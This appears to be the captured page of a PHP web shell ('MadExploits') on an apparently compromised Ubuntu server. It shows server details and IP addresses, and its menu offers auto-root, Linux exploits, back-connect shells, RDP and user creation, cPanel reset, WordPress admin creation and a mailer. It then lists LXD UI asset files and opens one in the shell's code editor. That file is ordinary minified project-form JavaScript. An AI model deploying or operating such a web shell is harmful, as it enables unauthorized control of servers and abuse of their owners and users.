Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
snap /
lxd /
35819 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-38ef4775...
352
B
-rw-r--r--
CancelOperationBtn-5ab5a054.js
1.42
KB
-rw-r--r--
CertificateAdd-d98b5e86.js
2.37
KB
-rw-r--r--
CertificateGenerate-bb8c35a0.j...
9.58
KB
-rw-r--r--
ClusterGroupForm-0d4e7054.js
3.07
KB
-rw-r--r--
ClusterList-376e8191.js
4.72
KB
-rw-r--r--
ConfigFieldDescription-f8ae832...
3.5
KB
-rw-r--r--
ConfigurationTable-5663621c.js
2.16
KB
-rw-r--r--
CreateClusterGroup-09d38e92.js
329
B
-rw-r--r--
CreateInstance-046ee656.js
15.55
KB
-rw-r--r--
CreateNetwork-c477391b.js
2.24
KB
-rw-r--r--
CreateProfile-881c18c5.js
3.28
KB
-rw-r--r--
CreateProject-e3aa3033.js
1.9
KB
-rw-r--r--
CreateStoragePool-8cf3fffb.js
1.77
KB
-rw-r--r--
DiskSizeSelector-f5c6feab.js
1.8
KB
-rw-r--r--
EditClusterGroup-359f74de.js
622
B
-rw-r--r--
FormMenuItem-c982b037.js
504
B
-rw-r--r--
Images-4a6fe873.js
4.37
KB
-rw-r--r--
InstanceDetail-abd91713.js
485.8
KB
-rw-r--r--
InstanceFormMenu-8d68db52.js
1.67
KB
-rw-r--r--
InstanceList-d03132eb.js
15.61
KB
-rw-r--r--
Login-ae14fb01.js
1.47
KB
-rw-r--r--
NetworkDetail-f9ecdbac.js
10.11
KB
-rw-r--r--
NetworkDevicesForm-6bd7a471.js
28.21
KB
-rw-r--r--
NetworkForm-7a372877.js
10.83
KB
-rw-r--r--
NetworkList-ed3f1c2e.js
2.87
KB
-rw-r--r--
NetworkMap-edcca14b.js
384.37
KB
-rw-r--r--
OperationList-9cdc7cdc.js
3.03
KB
-rw-r--r--
ProfileDetail-9d676984.js
9.74
KB
-rw-r--r--
ProfileDetailsForm-2d8b9325.js
856
B
-rw-r--r--
ProfileFormMenu-402fd3a6.js
1.51
KB
-rw-r--r--
ProfileList-ec5e50ff.js
3.32
KB
-rw-r--r--
ProfileSelector-a92e1c5b.js
1.73
KB
-rw-r--r--
ProjectConfiguration-abeeb414....
6.92
KB
-rw-r--r--
ProjectForm-420f46d7.js
13.38
KB
-rw-r--r--
ProtectedRoute-d7443d15.js
209
B
-rw-r--r--
RenameHeader-48dfd372.js
1.6
KB
-rw-r--r--
SelectableMainTable-825decd1.j...
1.48
KB
-rw-r--r--
Settings-893dd2a7.js
5.98
KB
-rw-r--r--
StoragePoolDetail-cac1f490.js
5.53
KB
-rw-r--r--
StorageUsedBy-9a8da8a4.js
2.16
KB
-rw-r--r--
StorageVolumeCreate-c0d80d32.j...
1.75
KB
-rw-r--r--
StorageVolumeDetail-534c1711.j...
6.76
KB
-rw-r--r--
StorageVolumeForm-754dcb6d.js
9.63
KB
-rw-r--r--
StorageVolumeFormMenu-3787a809...
1.35
KB
-rw-r--r--
WarningList-c4a4436b.js
1.85
KB
-rw-r--r--
certificate-3aff5cf1.js
277.18
KB
-rw-r--r--
clusterGroups-0eee60fc.js
3.32
KB
-rw-r--r--
formFields-e7157cb4.js
4.61
KB
-rw-r--r--
images-2ea813f2.js
702
B
-rw-r--r--
index-205b9caf.css
481.62
KB
-rw-r--r--
index-3c1b2661.js
587.81
KB
-rw-r--r--
index.esm-7989c879.js
69.08
KB
-rw-r--r--
instanceConfigInheritance-8da6...
1.38
KB
-rw-r--r--
instanceDelete-47fcbb3e.js
1.52
KB
-rw-r--r--
instanceEdit-165cc920.js
5.29
KB
-rw-r--r--
instanceValidation-26160179.cs...
50.83
KB
-rw-r--r--
instanceValidation-ad252104.js
2.09
MB
-rw-r--r--
networks-a82d149f.js
1.83
KB
-rw-r--r--
operations-beb03b33.js
433
B
-rw-r--r--
settings-c23f9009.js
183
B
-rw-r--r--
updateMaxHeight-4e644a5f.js
861
B
-rw-r--r--
useClusterMembers-b0b2e2f7.js
3.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProjectForm-420f46d7.js
import{j as t,d as r,r as j,bi as E,b as F}from"./index-3c1b2661.js";import{F as b}from"./FormMenuItem-c982b037.js";import{f as a,I as h,c as l,o as d}from"./formFields-e7157cb4.js";import{A as O}from"./AutoExpandingTextArea-38ef4775.js";import{D as N}from"./DiskSizeSelector-f5c6feab.js";const w="Project details",f="Resource limits",y="Clusters",V="Instances",S="Device usage",R="Networks",P=({isRestrictionsOpen:e,toggleRestrictionsOpen:s,isRestrictionsDisabled:i,active:m,setActive:u})=>{const c={active:m,setActive:u};return t.jsx("div",{className:"p-side-navigation--accordion form-navigation",children:t.jsx("nav",{"aria-label":"Project form navigation",children:t.jsxs("ul",{className:"p-side-navigation__list",children:[t.jsx(b,{label:w,...c}),t.jsx(b,{label:f,...c}),t.jsxs("li",{className:"p-side-navigation__item",children:[t.jsx(r.Button,{type:"button",className:"p-side-navigation__accordion-button","aria-expanded":e?"true":"false",onClick:s,disabled:i,children:"Restrictions"}),t.jsxs("ul",{className:"p-side-navigation__list","aria-expanded":e?"true":"false",children:[t.jsx(b,{label:y,...c}),t.jsx(b,{label:V,...c}),t.jsx(b,{label:S,...c}),t.jsx(b,{label:R,...c})]})]})]})})})},$=e=>({name:e.name,description:e.description}),q=e=>{const s=i=>{if(i!==void 0)return i?"true":"false"};return{[a("restricted")]:s(e.restricted),[a("features_images")]:s(e.features_images),[a("features_profiles")]:s(e.features_profiles),[a("features_networks")]:s(e.features_networks),[a("features_storage_volumes")]:s(e.features_storage_volumes)}},D=({formik:e,project:s,isEdit:i})=>{const m=()=>e.values.features_images===void 0&&e.values.features_profiles===void 0&&e.values.features_networks===void 0&&e.values.features_networks_zones===void 0&&e.values.features_storage_buckets===void 0&&e.values.features_storage_volumes===void 0?"default":e.values.features_images!==!0||e.values.features_profiles!==!0||e.values.features_networks!==!1||e.values.features_networks_zones!==!1||e.values.features_storage_buckets!==!0||e.values.features_storage_volumes!==!0?"customised":"default",[u,c]=j.useState(m()),_=e.values.name==="default",p=e.values.readOnly,o=s?!E(s):!1,I=(s==null?void 0:s.config["features.networks"])==="true",C=(s==null?void 0:s.config["features.networks.zones"])==="true";return t.jsx("div",{className:"details",children:t.jsx(r.Row,{children:t.jsxs(r.Col,{size:8,children:[t.jsx(r.Input,{id:"name",name:"name",type:"text",label:"Project name",placeholder:"Enter name",onBlur:e.handleBlur,onChange:e.handleChange,value:e.values.name,error:e.touched.name?e.errors.name:null,disabled:e.values.name==="default"||i,help:e.values.name!=="default"&&"Click the name in the header to rename the project",required:!0}),t.jsx(O,{id:"description",name:"description",label:"Description",placeholder:"Enter description",onBlur:e.handleBlur,onChange:e.handleChange,value:e.values.description,disabled:e.values.readOnly,dynamicHeight:!0}),t.jsx(r.Select,{id:"features",name:"features",label:"Features",onChange:v=>{c(v.target.value),e.setFieldValue("features_images",!0),e.setFieldValue("features_profiles",!0),e.setFieldValue("features_networks",!1),e.setFieldValue("features_networks_zones",!1),e.setFieldValue("features_storage_volumes",!0)},value:u,options:[{label:"Default LXD",value:"default"},{label:"Customised",value:"customised"}],disabled:p||_||o&&I||o&&C}),u==="customised"&&t.jsxs(t.Fragment,{children:["Allow the following features:",t.jsx(r.CheckboxInput,{id:"features_images",name:"features_images",label:"Images",onChange:()=>void e.setFieldValue("features_images",!e.values.features_images),checked:e.values.features_images,disabled:p||_||o}),t.jsx(r.CheckboxInput,{id:"features_profiles",name:"features_profiles",label:t.jsxs(t.Fragment,{children:["Profiles",t.jsx(r.Tooltip,{className:"checkbox-label-tooltip",message:`Allow profiles to enable custom restrictions on a project level`,children:t.jsx(r.Icon,{name:"information"})})]}),onChange:()=>{const v=!e.values.features_profiles;e.setFieldValue("features_profiles",v),v||e.setFieldValue("restricted",!1)},checked:e.values.features_profiles,disabled:p||_||o}),t.jsx(r.CheckboxInput,{id:"features_networks",name:"features_networks",label:"Networks",onChange:()=>void e.setFieldValue("features_networks",!e.values.features_networks),checked:e.values.features_networks,disabled:p||_||o}),t.jsx(r.CheckboxInput,{id:"features_storage_volumes",name:"features_storage_volumes",label:"Storage volumes",onChange:()=>void e.setFieldValue("features_storage_volumes",!e.values.features_storage_volumes),checked:e.values.features_storage_volumes,disabled:p||_||o})]}),t.jsx("hr",{}),t.jsx(r.CheckboxInput,{id:"custom_restrictions",name:"custom_restrictions",label:t.jsxs(t.Fragment,{children:["Allow custom restrictions on a project level",t.jsx(r.Tooltip,{className:"checkbox-label-tooltip",message:`Custom restrictions are only available to projects with enabled profiles`,children:t.jsx(r.Icon,{name:"information"})})]}),onChange:()=>void e.setFieldValue("restricted",!e.values.restricted),checked:e.values.restricted,disabled:e.values.readOnly||e.values.features_profiles===!1&&u==="customised"})]})})})},H=e=>{var s,i,m,u,c,_,p,o;return{[a("limits_instances")]:(s=e.limits_instances)==null?void 0:s.toString(),[a("limits_containers")]:(i=e.limits_containers)==null?void 0:i.toString(),[a("limits_virtual_machines")]:(m=e.limits_virtual_machines)==null?void 0:m.toString(),[a("limits_disk")]:(u=e.limits_disk)==null?void 0:u.toString(),[a("limits_networks")]:(c=e.limits_networks)==null?void 0:c.toString(),[a("limits_cpu")]:(_=e.limits_cpu)==null?void 0:_.toString(),[a("limits_memory")]:(p=e.limits_memory)==null?void 0:p.toString(),[a("limits_processes")]:(o=e.limits_processes)==null?void 0:o.toString()}},A=({formik:e})=>t.jsx(h,{rows:[l({formik:e,name:"limits_instances",label:"Max number of instances",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_containers",label:"Max number of containers",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_virtual_machines",label:"Max number of VMs",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_disk",label:"Max disk space (used by all instances)",defaultValue:"",children:t.jsx(N,{setMemoryLimit:s=>void e.setFieldValue("limits_disk",s)})}),l({formik:e,name:"limits_networks",label:"Max number of networks",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_cpu",label:"Max sum of CPU",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_memory",label:"Max sum of memory limits",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})}),l({formik:e,name:"limits_processes",label:"Max sum of processes",defaultValue:"-",children:t.jsx(r.Input,{placeholder:"Enter number",min:0,type:"number"})})]}),n=[{label:"Select option",value:"",disabled:!0},{label:"Allow",value:"allow"},{label:"Block",value:"block"}],g=[{label:"Select option",value:"",disabled:!0},{label:"Allow",value:"allow"},{label:"Isolated",value:"isolated"},{label:"Unprivileged",value:"unprivileged"}],x=[{label:"Select option",value:"",disabled:!0},{label:"Allow",value:"allow"},{label:"Block",value:"block"},{label:"Managed",value:"managed"}],J=e=>({[a("restricted_cluster_groups")]:e.restricted_cluster_groups,[a("restricted_cluster_target")]:e.restricted_cluster_target}),M=({formik:e})=>t.jsx(h,{rows:[l({formik:e,name:"restricted_cluster_groups",label:"Cluster groups targeting",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter value",type:"text"})}),l({formik:e,name:"restricted_cluster_target",label:"Direct cluster targeting",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})})]}),W=e=>({[a("restricted_virtual_machines_low_level")]:e.restricted_virtual_machines_low_level,[a("restricted_containers_low_level")]:e.restricted_containers_low_level,[a("restricted_containers_nesting")]:e.restricted_containers_nesting,[a("restricted_containers_privilege")]:e.restricted_containers_privilege,[a("restricted_container_interception")]:e.restricted_container_interception,[a("restrict_snapshots")]:e.restrict_snapshots,[a("restricted_idmap_uid")]:e.restricted_idmap_uid,[a("restricted_idmap_gid")]:e.restricted_idmap_gid}),T=({formik:e})=>t.jsx(h,{rows:[l({formik:e,name:"restricted_virtual_machines_low_level",label:"Low level VM operations",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_containers_low_level",label:"Low level container operations",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_containers_nesting",label:"Container nesting",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_containers_privilege",label:"Container privilege",defaultValue:"",readOnlyRenderer:s=>d(s,g),children:t.jsx(r.Select,{options:g})}),l({formik:e,name:"restricted_container_interception",label:"Container interception",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restrict_snapshots",label:"Snapshot creation",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_idmap_uid",label:"Idmap UID",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter UID ranges",type:"text"})}),l({formik:e,name:"restricted_idmap_gid",label:"Idmap GID",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter GID ranges",type:"text"})})]}),X=e=>({[a("restricted_devices_disk")]:e.restricted_devices_disk,[a("restricted_devices_disk_paths")]:e.restricted_devices_disk_paths,[a("restricted_devices_gpu")]:e.restricted_devices_gpu,[a("restricted_devices_infiniband")]:e.restricted_devices_infiniband,[a("restricted_devices_nic")]:e.restricted_devices_nic,[a("restricted_devices_pci")]:e.restricted_devices_pci,[a("restricted_devices_unix_block")]:e.restricted_devices_unix_block,[a("restricted_devices_unix_char")]:e.restricted_devices_unix_char,[a("restricted_devices_unix_hotplug")]:e.restricted_devices_unix_hotplug,[a("restricted_devices_usb")]:e.restricted_devices_usb}),U=({formik:e})=>t.jsx(h,{rows:[l({formik:e,name:"restricted_devices_disk",label:t.jsxs(t.Fragment,{children:["Disk devices",t.jsx("br",{}),"(except the root one)"]}),defaultValue:"",readOnlyRenderer:s=>d(s,x),children:t.jsx(r.Select,{options:x})}),l({formik:e,name:"restricted_devices_disk_paths",label:"Disk devices path",defaultValue:"",children:t.jsx(r.Input,{placeholder:"Enter paths",type:"text"})}),l({formik:e,name:"restricted_devices_gpu",label:"GPU devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_infiniband",label:"Infiniband devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_nic",label:"Network devices",defaultValue:"",readOnlyRenderer:s=>d(s,x),children:t.jsx(r.Select,{options:x})}),l({formik:e,name:"restricted_devices_pci",label:"PCI devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_unix_block",label:"Unix-block devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_unix_char",label:"Unix-char devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_unix_hotplug",label:"Unix-hotplug devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})}),l({formik:e,name:"restricted_devices_usb",label:"USB devices",defaultValue:"",readOnlyRenderer:s=>d(s,n),children:t.jsx(r.Select,{options:n})})]}),Z=e=>({[a("restricted_network_access")]:e.restricted_network_access,[a("restricted_network_subnets")]:e.restricted_network_subnets,[a("restricted_network_uplinks")]:e.restricted_network_uplinks,[a("restricted_network_zones")]:e.restricted_network_zones}),z=({formik:e})=>t.jsx(h,{rows:[l({formik:e,name:"restricted_network_access",label:"Available networks",defaultValue:"",children:t.jsx(r.Textarea,{placeholder:"Enter network names"})}),l({formik:e,name:"restricted_network_subnets",label:"Network subnets",defaultValue:"",children:t.jsx(r.Textarea,{placeholder:"Enter network subnets"})}),l({formik:e,name:"restricted_network_uplinks",label:"Network uplinks",defaultValue:"",children:t.jsx(r.Textarea,{placeholder:"Enter network names"})}),l({formik:e,name:"restricted_network_zones",label:"Network zones",defaultValue:"",children:t.jsx(r.Textarea,{placeholder:"Enter network zones"})})]}),Q=({formik:e,updateSection:s,section:i,project:m,isEdit:u})=>{const[c,_]=j.useState(!1),p=()=>{_(o=>!o)};return t.jsxs(r.Form,{onSubmit:e.handleSubmit,stacked:!0,className:"form",children:[t.jsx(P,{active:i,setActive:s,isRestrictionsOpen:c&&e.values.restricted,isRestrictionsDisabled:!e.values.restricted,toggleRestrictionsOpen:p}),t.jsxs("div",{className:"details-form-wrapper",children:[t.jsx(F,{}),t.jsx(r.Row,{className:"form-contents",children:t.jsxs(r.Col,{size:12,children:[i===w&&t.jsx(D,{formik:e,project:m,isEdit:u}),i===f&&t.jsx(A,{formik:e}),i===y&&t.jsx(M,{formik:e}),i===V&&t.jsx(T,{formik:e}),i===S&&t.jsx(U,{formik:e}),i===R&&t.jsx(z,{formik:e})]})},i)]})]})};export{w as P,Q as a,q as b,J as c,X as d,W as i,Z as n,$ as p,H as r};
Close